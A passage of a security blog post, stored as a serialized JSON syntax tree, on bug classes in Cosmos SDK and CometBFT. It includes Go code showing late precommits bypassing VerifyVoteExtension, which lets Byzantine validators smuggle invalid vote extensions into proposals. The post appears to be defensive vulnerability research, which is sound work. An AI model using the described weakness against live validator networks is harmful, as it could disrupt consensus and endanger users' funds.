types",{"type":23,"tag":75,"props":7110,"children":7111},{"style":94},[7112],{"type":29,"value":557},{"type":23,"tag":75,"props":7114,"children":7115},{"style":110},[7116],{"type":29,"value":7117},"ModuleName",{"type":23,"tag":75,"props":7119,"children":7120},{"style":94},[7121],{"type":29,"value":118},{"type":23,"tag":75,"props":7123,"children":7124},{"class":77,"line":5227},[7125,7129],{"type":23,"tag":75,"props":7126,"children":7127},{"style":110},[7128],{"type":29,"value":6523},{"type":23,"tag":75,"props":7130,"children":7131},{"style":94},[7132],{"type":29,"value":118},{"type":23,"tag":75,"props":7134,"children":7135},{"class":77,"line":5259},[7136,7141],{"type":23,"tag":75,"props":7137,"children":7138},{"style":110},[7139],{"type":29,"value":7140},"        coins",{"type":23,"tag":75,"props":7142,"children":7143},{"style":94},[7144],{"type":29,"value":118},{"type":23,"tag":75,"props":7146,"children":7147},{"class":77,"line":5315},[7148],{"type":23,"tag":75,"props":7149,"children":7150},{"style":94},[7151],{"type":29,"value":7152},"    )\n",{"type":23,"tag":75,"props":7154,"children":7155},{"class":77,"line":5328},[7156,7160,7164,7168,7172],{"type":23,"tag":75,"props":7157,"children":7158},{"style":175},[7159],{"type":29,"value":1363},{"type":23,"tag":75,"props":7161,"children":7162},{"style":110},[7163],{"type":29,"value":6277},{"type":23,"tag":75,"props":7165,"children":7166},{"style":209},[7167],{"type":29,"value":6282},{"type":23,"tag":75,"props":7169,"children":7170},{"style":82},[7171],{"type":29,"value":6287},{"type":23,"tag":75,"props":7173,"children":7174},{"style":94},[7175],{"type":29,"value":401},{"type":23,"tag":75,"props":7177,"children":7178},{"class":77,"line":5336},[7179,7183,7187,7191,7195,7199,7204,7208,7212],{"type":23,"tag":75,"props":7180,"children":7181},{"style":175},[7182],{"type":29,"value":1388},{"type":23,"tag":75,"props":7184,"children":7185},{"style":110},[7186],{"type":29,"value":6604},{"type":23,"tag":75,"props":7188,"children":7189},{"style":94},[7190],{"type":29,"value":557},{"type":23,"tag":75,"props":7192,"children":7193},{"style":88},[7194],{"type":29,"value":6320},{"type":23,"tag":75,"props":7196,"children":7197},{"style":94},[7198],{"type":29,"value":643},{"type":23,"tag":75,"props":7200,"children":7201},{"style":1266},[7202],{"type":29,"value":7203},"\"failed to send coins: %w\"",{"type":23,"tag":75,"props":7205,"children":7206},{"style":94},[7207],{"type":29,"value":611},{"type":23,"tag":75,"props":7209,"children":7210},{"style":110},[7211],{"type":29,"value":4434},{"type":23,"tag":75,"props":7213,"children":7214},{"style":94},[7215],{"type":29,"value":653},{"type":23,"tag":75,"props":7217,"children":7218},{"class":77,"line":5344},[7219],{"type":23,"tag":75,"props":7220,"children":7221},{"style":94},[7222],{"type":29,"value":346},{"type":23,"tag":75,"props":7224,"children":7225},{"class":77,"line":5352},[7226],{"type":23,"tag":75,"props":7227,"children":7228},{"style":209},[7229],{"type":29,"value":6478},{"type":23,"tag":75,"props":7231,"children":7232},{"class":77,"line":5392},[7233],{"type":23,"tag":75,"props":7234,"children":7235},{"style":94},[7236],{"type":29,"value":369},{"type":23,"tag":64,"props":7238,"children":7240},{"code":7239,"language":373,"meta":7,"className":374,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[7241],{"type":23,"tag":71,"props":7242,"children":7243},{"__ignoreMap":7},[7244,7276,7356,7371,7379,7411,7470,7478,7485],{"type":23,"tag":75,"props":7245,"children":7246},{"class":77,"line":78},[7247,7251,7255,7259,7264,7268,7272],{"type":23,"tag":75,"props":7248,"children":7249},{"style":82},[7250],{"type":29,"value":512},{"type":23,"tag":75,"props":7252,"children":7253},{"style":94},[7254],{"type":29,"value":183},{"type":23,"tag":75,"props":7256,"children":7257},{"style":110},[7258],{"type":29,"value":5492},{"type":23,"tag":75,"props":7260,"children":7261},{"style":104},[7262],{"type":29,"value":7263},"BaseKeeper",{"type":23,"tag":75,"props":7265,"children":7266},{"style":94},[7267],{"type":29,"value":167},{"type":23,"tag":75,"props":7269,"children":7270},{"style":88},[7271],{"type":29,"value":6010},{"type":23,"tag":75,"props":7273,"children":7274},{"style":94},[7275],{"type":29,"value":97},{"type":23,"tag":75,"props":7277,"children":7278},{"class":77,"line":100},[7279,7283,7287,7291,7295,7299,7304,7309,7313,7318,7322,7326,7330,7334,7339,7343,7347,7352],{"type":23,"tag":75,"props":7280,"children":7281},{"style":110},[7282],{"type":29,"value":3142},{"type":23,"tag":75,"props":7284,"children":7285},{"style":104},[7286],{"type":29,"value":552},{"type":23,"tag":75,"props":7288,"children":7289},{"style":94},[7290],{"type":29,"value":557},{"type":23,"tag":75,"props":7292,"children":7293},{"style":104},[7294],{"type":29,"value":562},{"type":23,"tag":75,"props":7296,"children":7297},{"style":94},[7298],{"type":29,"value":611},{"type":23,"tag":75,"props":7300,"children":7301},{"style":110},[7302],{"type":29,"value":7303},"senderModule",{"type":23,"tag":75,"props":7305,"children":7306},{"style":104},[7307],{"type":29,"value":7308}," string",{"type":23,"tag":75,"props":7310,"children":7311},{"style":94},[7312],{"type":29,"value":611},{"type":23,"tag":75,"props":7314,"children":7315},{"style":110},[7316],{"type":29,"value":7317},"recipientAddr",{"type":23,"tag":75,"props":7319,"children":7320},{"style":104},[7321],{"type":29,"value":2951},{"type":23,"tag":75,"props":7323,"children":7324},{"style":94},[7325],{"type":29,"value":557},{"type":23,"tag":75,"props":7327,"children":7328},{"style":104},[7329],{"type":29,"value":7000},{"type":23,"tag":75,"props":7331,"children":7332},{"style":94},[7333],{"type":29,"value":611},{"type":23,"tag":75,"props":7335,"children":7336},{"style":110},[7337],{"type":29,"value":7338},"amt",{"type":23,"tag":75,"props":7340,"children":7341},{"style":104},[7342],{"type":29,"value":2951},{"type":23,"tag":75,"props":7344,"children":7345},{"style":94},[7346],{"type":29,"value":557},{"type":23,"tag":75,"props":7348,"children":7349},{"style":104},[7350],{"type":29,"value":7351},"Coins",{"type":23,"tag":75,"props":7353,"children":7354},{"style":94},[7355],{"type":29,"value":118},{"type":23,"tag":75,"props":7357,"children":7358},{"class":77,"line":121},[7359,7363,7367],{"type":23,"tag":75,"props":7360,"children":7361},{"style":94},[7362],{"type":29,"value":167},{"type":23,"tag":75,"props":7364,"children":7365},{"style":104},[7366],{"type":29,"value":616},{"type":23,"tag":75,"props":7368,"children":7369},{"style":94},[7370],{"type":29,"value":401},{"type":23,"tag":75,"props":7372,"children":7373},{"class":77,"line":138},[7374],{"type":23,"tag":75,"props":7375,"children":7376},{"style":209},[7377],{"type":29,"value":7378}," ...\n",{"type":23,"tag":75,"props":7380,"children":7381},{"class":77,"line":161},[7382,7387,7391,7395,7399,7403,7407],{"type":23,"tag":75,"props":7383,"children":7384},{"style":175},[7385],{"type":29,"value":7386}," if",{"type":23,"tag":75,"props":7388,"children":7389},{"style":110},[7390],{"type":29,"value":5620},{"type":23,"tag":75,"props":7392,"children":7393},{"style":94},[7394],{"type":29,"value":557},{"type":23,"tag":75,"props":7396,"children":7397},{"style":88},[7398],{"type":29,"value":6026},{"type":23,"tag":75,"props":7400,"children":7401},{"style":94},[7402],{"type":29,"value":643},{"type":23,"tag":75,"props":7404,"children":7405},{"style":110},[7406],{"type":29,"value":7317},{"type":23,"tag":75,"props":7408,"children":7409},{"style":94},[7410],{"type":29,"value":193},{"type":23,"tag":75,"props":7412,"children":7413},{"class":77,"line":196},[7414,7419,7424,7428,7432,7436,7440,7444,7449,7453,7458,7462,7466],{"type":23,"tag":75,"props":7415,"children":7416},{"style":175},[7417],{"type":29,"value":7418},"  return",{"type":23,"tag":75,"props":7420,"children":7421},{"style":110},[7422],{"type":29,"value":7423}," errorsmod",{"type":23,"tag":75,"props":7425,"children":7426},{"style":94},[7427],{"type":29,"value":557},{"type":23,"tag":75,"props":7429,"children":7430},{"style":88},[7431],{"type":29,"value":5274},{"type":23,"tag":75,"props":7433,"children":7434},{"style":94},[7435],{"type":29,"value":643},{"type":23,"tag":75,"props":7437,"children":7438},{"style":110},[7439],{"type":29,"value":4913},{"type":23,"tag":75,"props":7441,"children":7442},{"style":94},[7443],{"type":29,"value":557},{"type":23,"tag":75,"props":7445,"children":7446},{"style":110},[7447],{"type":29,"value":7448},"ErrUnauthorized",{"type":23,"tag":75,"props":7450,"children":7451},{"style":94},[7452],{"type":29,"value":611},{"type":23,"tag":75,"props":7454,"children":7455},{"style":1266},[7456],{"type":29,"value":7457},"\"%s is not allowed to receive funds\"",{"type":23,"tag":75,"props":7459,"children":7460},{"style":94},[7461],{"type":29,"value":611},{"type":23,"tag":75,"props":7463,"children":7464},{"style":110},[7465],{"type":29,"value":7317},{"type":23,"tag":75,"props":7467,"children":7468},{"style":94},[7469],{"type":29,"value":653},{"type":23,"tag":75,"props":7471,"children":7472},{"class":77,"line":220},[7473],{"type":23,"tag":75,"props":7474,"children":7475},{"style":94},[7476],{"type":29,"value":7477}," }\n",{"type":23,"tag":75,"props":7479,"children":7480},{"class":77,"line":248},[7481],{"type":23,"tag":75,"props":7482,"children":7483},{"style":209},[7484],{"type":29,"value":7378},{"type":23,"tag":75,"props":7486,"children":7487},{"class":77,"line":270},[7488],{"type":23,"tag":75,"props":7489,"children":7490},{"style":94},[7491],{"type":29,"value":369},{"type":23,"tag":32,"props":7493,"children":7494},{},[7495,7497,7504],{"type":29,"value":7496},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":23,"tag":940,"props":7498,"children":7501},{"href":7499,"rel":7500},"https://hackerone.com/reports/3018307",[944],[7502],{"type":29,"value":7503},"improper decimal handling in the group module",{"type":29,"value":557},{"type":23,"tag":24,"props":7506,"children":7508},{"id":7507},"same-same-but-different",[7509],{"type":29,"value":7510},"Same, Same... But Different",{"type":23,"tag":32,"props":7512,"children":7513},{},[7514,7516,7522,7523,7529,7530,7536,7537,7543],{"type":29,"value":7515},"Cosmos exposes several consensus-level interfaces, such as ",{"type":23,"tag":71,"props":7517,"children":7519},{"className":7518},[],[7520],{"type":29,"value":7521},"PrepareProposal",{"type":29,"value":611},{"type":23,"tag":71,"props":7524,"children":7526},{"className":7525},[],[7527],{"type":29,"value":7528},"ProcessProposal",{"type":29,"value":611},{"type":23,"tag":71,"props":7531,"children":7533},{"className":7532},[],[7534],{"type":29,"value":7535},"ExtendVote",{"type":29,"value":5777},{"type":23,"tag":71,"props":7538,"children":7540},{"className":7539},[],[7541],{"type":29,"value":7542},"VerifyVoteExtension",{"type":29,"value":7544},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":23,"tag":32,"props":7546,"children":7547},{},[7548],{"type":29,"value":7549},"Two of the best-known attack surfaces are",{"type":23,"tag":2797,"props":7551,"children":7552},{},[7553,7582],{"type":23,"tag":2801,"props":7554,"children":7555},{},[7556,7561,7562,7567,7569,7574,7575,7580],{"type":23,"tag":71,"props":7557,"children":7559},{"className":7558},[],[7560],{"type":29,"value":7521},{"type":29,"value":183},{"type":23,"tag":71,"props":7563,"children":7565},{"className":7564},[],[7566],{"type":29,"value":7535},{"type":29,"value":7568},") outputs being rejected due to ",{"type":23,"tag":71,"props":7570,"children":7572},{"className":7571},[],[7573],{"type":29,"value":7528},{"type":29,"value":183},{"type":23,"tag":71,"props":7576,"children":7578},{"className":7577},[],[7579],{"type":29,"value":7542},{"type":29,"value":7581},") over-validating, resulting in liveness failures.",{"type":23,"tag":2801,"props":7583,"children":7584},{},[7585,7587,7592,7593,7598,7600,7605,7606,7611],{"type":29,"value":7586},"Malicious proposals and vote extensions not created through the ",{"type":23,"tag":71,"props":7588,"children":7590},{"className":7589},[],[7591],{"type":29,"value":7521},{"type":29,"value":183},{"type":23,"tag":71,"props":7594,"children":7596},{"className":7595},[],[7597],{"type":29,"value":7535},{"type":29,"value":7599},") are accepted due to ",{"type":23,"tag":71,"props":7601,"children":7603},{"className":7602},[],[7604],{"type":29,"value":7528},{"type":29,"value":183},{"type":23,"tag":71,"props":7607,"children":7609},{"className":7608},[],[7610],{"type":29,"value":7542},{"type":29,"value":7612},") under-validating.",{"type":23,"tag":32,"props":7614,"children":7615},{},[7616],{"type":29,"value":7617},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":23,"tag":32,"props":7619,"children":7620},{},[7621,7623,7629,7631,7636],{"type":29,"value":7622},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":23,"tag":71,"props":7624,"children":7626},{"className":7625},[],[7627],{"type":29,"value":7628},"VoteExtensions",{"type":29,"value":7630}," within ",{"type":23,"tag":71,"props":7632,"children":7634},{"className":7633},[],[7635],{"type":29,"value":7521},{"type":29,"value":7637},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":23,"tag":32,"props":7639,"children":7640},{},[7641,7643,7648,7650,7655],{"type":29,"value":7642},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":23,"tag":71,"props":7644,"children":7646},{"className":7645},[],[7647],{"type":29,"value":7535},{"type":29,"value":7649}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":23,"tag":71,"props":7651,"children":7653},{"className":7652},[],[7654],{"type":29,"value":7542},{"type":29,"value":7656},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":23,"tag":32,"props":7658,"children":7659},{},[7660,7662,7667],{"type":29,"value":7661},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":23,"tag":71,"props":7663,"children":7665},{"className":7664},[],[7666],{"type":29,"value":7542},{"type":29,"value":7668}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":23,"tag":32,"props":7670,"children":7671},{},[7672,7674,7679,7681,7687],{"type":29,"value":7673},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":23,"tag":71,"props":7675,"children":7677},{"className":7676},[],[7678],{"type":29,"value":7542},{"type":29,"value":7680},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":23,"tag":71,"props":7682,"children":7684},{"className":7683},[],[7685],{"type":29,"value":7686},"Proposal",{"type":29,"value":557},{"type":23,"tag":64,"props":7689,"children":7691},{"code":7690,"language":373,"meta":7,"className":374,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[7692],{"type":23,"tag":71,"props":7693,"children":7694},{"__ignoreMap":7},[7695,7807,7814,7821,7829,7837,7924,7931,7939,7993,8000,8021,8028,8100,8116,8123,8197,8254,8261,8323,8330,8337,8357,8364,8371,8378],{"type":23,"tag":75,"props":7696,"children":7697},{"class":77,"line":78},[7698,7702,7706,7711,7715,7720,7724,7729,7733,7738,7742,7746,7750,7755,7759,7764,7769,7773,7778,7782,7787,7791,7795,7799,7803],{"type":23,"tag":75,"props":7699,"children":7700},{"style":82},[7701],{"type":29,"value":512},{"type":23,"tag":75,"props":7703,"children":7704},{"style":94},[7705],{"type":29,"value":183},{"type":23,"tag":75,"props":7707,"children":7708},{"style":110},[7709],{"type":29,"value":7710},"cs ",{"type":23,"tag":75,"props":7712,"children":7713},{"style":209},[7714],{"type":29,"value":601},{"type":23,"tag":75,"props":7716,"children":7717},{"style":104},[7718],{"type":29,"value":7719},"State",{"type":23,"tag":75,"props":7721,"children":7722},{"style":94},[7723],{"type":29,"value":167},{"type":23,"tag":75,"props":7725,"children":7726},{"style":88},[7727],{"type":29,"value":7728},"addVote",{"type":23,"tag":75,"props":7730,"children":7731},{"style":94},[7732],{"type":29,"value":643},{"type":23,"tag":75,"props":7734,"children":7735},{"style":110},[7736],{"type":29,"value":7737},"vote",{"type":23,"tag":75,"props":7739,"children":7740},{"style":209},[7741],{"type":29,"value":579},{"type":23,"tag":75,"props":7743,"children":7744},{"style":104},[7745],{"type":29,"value":2344},{"type":23,"tag":75,"props":7747,"children":7748},{"style":94},[7749],{"type":29,"value":557},{"type":23,"tag":75,"props":7751,"children":7752},{"style":104},[7753],{"type":29,"value":7754},"Vote",{"type":23,"tag":75,"props":7756,"children":7757},{"style":94},[7758],{"type":29,"value":611},{"type":23,"tag":75,"props":7760,"children":7761},{"style":110},[7762],{"type":29,"value":7763},"peerID",{"type":23,"tag":75,"props":7765,"children":7766},{"style":104},[7767],{"type":29,"value":7768}," p2p",{"type":23,"tag":75,"props":7770,"children":7771},{"style":94},[7772],{"type":29,"value":557},{"type":23,"tag":75,"props":7774,"children":7775},{"style":104},[7776],{"type":29,"value":7777},"ID",{"type":23,"tag":75,"props":7779,"children":7780},{"style":94},[7781],{"type":29,"value":596},{"type":23,"tag":75,"props":7783,"children":7784},{"style":110},[7785],{"type":29,"value":7786},"added",{"type":23,"tag":75,"props":7788,"children":7789},{"style":104},[7790],{"type":29,"value":3001},{"type":23,"tag":75,"props":7792,"children":7793},{"style":94},[7794],{"type":29,"value":611},{"type":23,"tag":75,"props":7796,"children":7797},{"style":110},[7798],{"type":29,"value":4434},{"type":23,"tag":75,"props":7800,"children":7801},{"style":104},[7802],{"type":29,"value":4439},{"type":23,"tag":75,"props":7804,"children":7805},{"style":94},[7806],{"type":29,"value":193},{"type":23,"tag":75,"props":7808,"children":7809},{"class":77,"line":100},[7810],{"type":23,"tag":75,"props":7811,"children":7812},{"style":209},[7813],{"type":29,"value":6478},{"type":23,"tag":75,"props":7815,"children":7816},{"class":77,"line":121},[7817],{"type":23,"tag":75,"props":7818,"children":7819},{"emptyLinePlaceholder":15},[7820],{"type":29,"value":276},{"type":23,"tag":75,"props":7822,"children":7823},{"class":77,"line":138},[7824],{"type":23,"tag":75,"props":7825,"children":7826},{"style":3621},[7827],{"type":29,"value":7828},"    // A precommit for the previous height?\n",{"type":23,"tag":75,"props":7830,"children":7831},{"class":77,"line":161},[7832],{"type":23,"tag":75,"props":7833,"children":7834},{"style":3621},[7835],{"type":29,"value":7836},"    // These come in while we wait timeoutCommit\n",{"type":23,"tag":75,"props":7838,"children":7839},{"class":77,"line":196},[7840,7844,7849,7853,7858,7863,7868,7872,7877,7881,7885,7890,7894,7898,7903,7907,7911,7915,7920],{"type":23,"tag":75,"props":7841,"children":7842},{"style":175},[7843],{"type":29,"value":1363},{"type":23,"tag":75,"props":7845,"children":7846},{"style":110},[7847],{"type":29,"value":7848}," vote",{"type":23,"tag":75,"props":7850,"children":7851},{"style":94},[7852],{"type":29,"value":557},{"type":23,"tag":75,"props":7854,"children":7855},{"style":110},[7856],{"type":29,"value":7857},"Height",{"type":23,"tag":75,"props":7859,"children":7860},{"style":209},[7861],{"type":29,"value":7862},"+",{"type":23,"tag":75,"props":7864,"children":7865},{"style":237},[7866],{"type":29,"value":7867},"1",{"type":23,"tag":75,"props":7869,"children":7870},{"style":209},[7871],{"type":29,"value":1372},{"type":23,"tag":75,"props":7873,"children":7874},{"style":110},[7875],{"type":29,"value":7876}," cs",{"type":23,"tag":75,"props":7878,"children":7879},{"style":94},[7880],{"type":29,"value":557},{"type":23,"tag":75,"props":7882,"children":7883},{"style":110},[7884],{"type":29,"value":7857},{"type":23,"tag":75,"props":7886,"children":7887},{"style":209},[7888],{"type":29,"value":7889}," &&",{"type":23,"tag":75,"props":7891,"children":7892},{"style":110},[7893],{"type":29,"value":7848},{"type":23,"tag":75,"props":7895,"children":7896},{"style":94},[7897],{"type":29,"value":557},{"type":23,"tag":75,"props":7899,"children":7900},{"style":110},[7901],{"type":29,"value":7902},"Type",{"type":23,"tag":75,"props":7904,"children":7905},{"style":209},[7906],{"type":29,"value":1372},{"type":23,"tag":75,"props":7908,"children":7909},{"style":110},[7910],{"type":29,"value":2474},{"type":23,"tag":75,"props":7912,"children":7913},{"style":94},[7914],{"type":29,"value":557},{"type":23,"tag":75,"props":7916,"children":7917},{"style":110},[7918],{"type":29,"value":7919},"PrecommitType",{"type":23,"tag":75,"props":7921,"children":7922},{"style":94},[7923],{"type":29,"value":401},{"type":23,"tag":75,"props":7925,"children":7926},{"class":77,"line":220},[7927],{"type":23,"tag":75,"props":7928,"children":7929},{"style":209},[7930],{"type":29,"value":6209},{"type":23,"tag":75,"props":7932,"children":7933},{"class":77,"line":248},[7934],{"type":23,"tag":75,"props":7935,"children":7936},{"style":3621},[7937],{"type":29,"value":7938},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":23,"tag":75,"props":7940,"children":7941},{"class":77,"line":270},[7942,7947,7951,7955,7959,7963,7967,7972,7976,7981,7985,7989],{"type":23,"tag":75,"props":7943,"children":7944},{"style":110},[7945],{"type":29,"value":7946},"        added",{"type":23,"tag":75,"props":7948,"children":7949},{"style":94},[7950],{"type":29,"value":611},{"type":23,"tag":75,"props":7952,"children":7953},{"style":110},[7954],{"type":29,"value":4434},{"type":23,"tag":75,"props":7956,"children":7957},{"style":209},[7958],{"type":29,"value":1193},{"type":23,"tag":75,"props":7960,"children":7961},{"style":110},[7962],{"type":29,"value":7876},{"type":23,"tag":75,"props":7964,"children":7965},{"style":94},[7966],{"type":29,"value":557},{"type":23,"tag":75,"props":7968,"children":7969},{"style":110},[7970],{"type":29,"value":7971},"LastCommit",{"type":23,"tag":75,"props":7973,"children":7974},{"style":94},[7975],{"type":29,"value":557},{"type":23,"tag":75,"props":7977,"children":7978},{"style":88},[7979],{"type":29,"value":7980},"AddVote",{"type":23,"tag":75,"props":7982,"children":7983},{"style":94},[7984],{"type":29,"value":643},{"type":23,"tag":75,"props":7986,"children":7987},{"style":110},[7988],{"type":29,"value":7737},{"type":23,"tag":75,"props":7990,"children":7991},{"style":94},[7992],{"type":29,"value":653},{"type":23,"tag":75,"props":7994,"children":7995},{"class":77,"line":279},[7996],{"type":23,"tag":75,"props":7997,"children":7998},{"style":209},[7999],{"type":29,"value":6209},{"type":23,"tag":75,"props":8001,"children":8002},{"class":77,"line":303},[8003,8007,8012,8016],{"type":23,"tag":75,"props":8004,"children":8005},{"style":175},[8006],{"type":29,"value":1388},{"type":23,"tag":75,"props":8008,"children":8009},{"style":110},[8010],{"type":29,"value":8011}," added",{"type":23,"tag":75,"props":8013,"children":8014},{"style":94},[8015],{"type":29,"value":611},{"type":23,"tag":75,"props":8017,"children":8018},{"style":110},[8019],{"type":29,"value":8020},"err\n",{"type":23,"tag":75,"props":8022,"children":8023},{"class":77,"line":322},[8024],{"type":23,"tag":75,"props":8025,"children":8026},{"style":94},[8027],{"type":29,"value":346},{"type":23,"tag":75,"props":8029,"children":8030},{"class":77,"line":340},[8031,8036,8040,8044,8048,8053,8057,8062,8066,8071,8075,8080,8084,8088,8092,8096],{"type":23,"tag":75,"props":8032,"children":8033},{"style":110},[8034],{"type":29,"value":8035},"    extEnabled",{"type":23,"tag":75,"props":8037,"children":8038},{"style":209},[8039],{"type":29,"value":633},{"type":23,"tag":75,"props":8041,"children":8042},{"style":110},[8043],{"type":29,"value":7876},{"type":23,"tag":75,"props":8045,"children":8046},{"style":94},[8047],{"type":29,"value":557},{"type":23,"tag":75,"props":8049,"children":8050},{"style":110},[8051],{"type":29,"value":8052},"state",{"type":23,"tag":75,"props":8054,"children":8055},{"style":94},[8056],{"type":29,"value":557},{"type":23,"tag":75,"props":8058,"children":8059},{"style":110},[8060],{"type":29,"value":8061},"ConsensusParams",{"type":23,"tag":75,"props":8063,"children":8064},{"style":94},[8065],{"type":29,"value":557},{"type":23,"tag":75,"props":8067,"children":8068},{"style":110},[8069],{"type":29,"value":8070},"Feature",{"type":23,"tag":75,"props":8072,"children":8073},{"style":94},[8074],{"type":29,"value":557},{"type":23,"tag":75,"props":8076,"children":8077},{"style":88},[8078],{"type":29,"value":8079},"VoteExtensionsEnabled",{"type":23,"tag":75,"props":8081,"children":8082},{"style":94},[8083],{"type":29,"value":643},{"type":23,"tag":75,"props":8085,"children":8086},{"style":110},[8087],{"type":29,"value":7737},{"type":23,"tag":75,"props":8089,"children":8090},{"style":94},[8091],{"type":29,"value":557},{"type":23,"tag":75,"props":8093,"children":8094},{"style":110},[8095],{"type":29,"value":7857},{"type":23,"tag":75,"props":8097,"children":8098},{"style":94},[8099],{"type":29,"value":653},{"type":23,"tag":75,"props":8101,"children":8102},{"class":77,"line":349},[8103,8107,8112],{"type":23,"tag":75,"props":8104,"children":8105},{"style":175},[8106],{"type":29,"value":1363},{"type":23,"tag":75,"props":8108,"children":8109},{"style":110},[8110],{"type":29,"value":8111}," extEnabled",{"type":23,"tag":75,"props":8113,"children":8114},{"style":94},[8115],{"type":29,"value":401},{"type":23,"tag":75,"props":8117,"children":8118},{"class":77,"line":363},[8119],{"type":23,"tag":75,"props":8120,"children":8121},{"style":209},[8122],{"type":29,"value":6209},{"type":23,"tag":75,"props":8124,"children":8125},{"class":77,"line":656},[8126,8130,8134,8138,8142,8146,8150,8154,8158,8162,8166,8170,8174,8179,8183,8188,8192],{"type":23,"tag":75,"props":8127,"children":8128},{"style":175},[8129],{"type":29,"value":2445},{"type":23,"tag":75,"props":8131,"children":8132},{"style":110},[8133],{"type":29,"value":7848},{"type":23,"tag":75,"props":8135,"children":8136},{"style":94},[8137],{"type":29,"value":557},{"type":23,"tag":75,"props":8139,"children":8140},{"style":110},[8141],{"type":29,"value":7902},{"type":23,"tag":75,"props":8143,"children":8144},{"style":209},[8145],{"type":29,"value":1372},{"type":23,"tag":75,"props":8147,"children":8148},{"style":110},[8149],{"type":29,"value":2474},{"type":23,"tag":75,"props":8151,"children":8152},{"style":94},[8153],{"type":29,"value":557},{"type":23,"tag":75,"props":8155,"children":8156},{"style":110},[8157],{"type":29,"value":7919},{"type":23,"tag":75,"props":8159,"children":8160},{"style":209},[8161],{"type":29,"value":7889},{"type":23,"tag":75,"props":8163,"children":8164},{"style":209},[8165],{"type":29,"value":3122},{"type":23,"tag":75,"props":8167,"children":8168},{"style":110},[8169],{"type":29,"value":7737},{"type":23,"tag":75,"props":8171,"children":8172},{"style":94},[8173],{"type":29,"value":557},{"type":23,"tag":75,"props":8175,"children":8176},{"style":110},[8177],{"type":29,"value":8178},"BlockID",{"type":23,"tag":75,"props":8180,"children":8181},{"style":94},[8182],{"type":29,"value":557},{"type":23,"tag":75,"props":8184,"children":8185},{"style":88},[8186],{"type":29,"value":8187},"IsNil",{"type":23,"tag":75,"props":8189,"children":8190},{"style":94},[8191],{"type":29,"value":2464},{"type":23,"tag":75,"props":8193,"children":8194},{"style":209},[8195],{"type":29,"value":8196},"&&\n",{"type":23,"tag":75,"props":8198,"children":8199},{"class":77,"line":705},[8200,8205,8210,8214,8218,8222,8226,8230,8235,8239,8244,8249],{"type":23,"tag":75,"props":8201,"children":8202},{"style":209},[8203],{"type":29,"value":8204},"            !",{"type":23,"tag":75,"props":8206,"children":8207},{"style":110},[8208],{"type":29,"value":8209},"bytes",{"type":23,"tag":75,"props":8211,"children":8212},{"style":94},[8213],{"type":29,"value":557},{"type":23,"tag":75,"props":8215,"children":8216},{"style":88},[8217],{"type":29,"value":6668},{"type":23,"tag":75,"props":8219,"children":8220},{"style":94},[8221],{"type":29,"value":643},{"type":23,"tag":75,"props":8223,"children":8224},{"style":110},[8225],{"type":29,"value":7737},{"type":23,"tag":75,"props":8227,"children":8228},{"style":94},[8229],{"type":29,"value":557},{"type":23,"tag":75,"props":8231,"children":8232},{"style":110},[8233],{"type":29,"value":8234},"ValidatorAddress",{"type":23,"tag":75,"props":8236,"children":8237},{"style":94},[8238],{"type":29,"value":611},{"type":23,"tag":75,"props":8240,"children":8241},{"style":110},[8242],{"type":29,"value":8243},"myAddr",{"type":23,"tag":75,"props":8245,"children":8246},{"style":94},[8247],{"type":29,"value":8248},") { ",{"type":23,"tag":75,"props":8250,"children":8251},{"style":3621},[8252],{"type":29,"value":8253},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":23,"tag":75,"props":8255,"children":8256},{"class":77,"line":787},[8257],{"type":23,"tag":75,"props":8258,"children":8259},{"style":209},[8260],{"type":29,"value":6890},{"type":23,"tag":75,"props":8262,"children":8263},{"class":77,"line":826},[8264,8268,8272,8276,8280,8285,8289,8293,8297,8302,8306,8311,8315,8319],{"type":23,"tag":75,"props":8265,"children":8266},{"style":110},[8267],{"type":29,"value":6706},{"type":23,"tag":75,"props":8269,"children":8270},{"style":209},[8271],{"type":29,"value":633},{"type":23,"tag":75,"props":8273,"children":8274},{"style":110},[8275],{"type":29,"value":7876},{"type":23,"tag":75,"props":8277,"children":8278},{"style":94},[8279],{"type":29,"value":557},{"type":23,"tag":75,"props":8281,"children":8282},{"style":110},[8283],{"type":29,"value":8284},"blockExec",{"type":23,"tag":75,"props":8286,"children":8287},{"style":94},[8288],{"type":29,"value":557},{"type":23,"tag":75,"props":8290,"children":8291},{"style":88},[8292],{"type":29,"value":7542},{"type":23,"tag":75,"props":8294,"children":8295},{"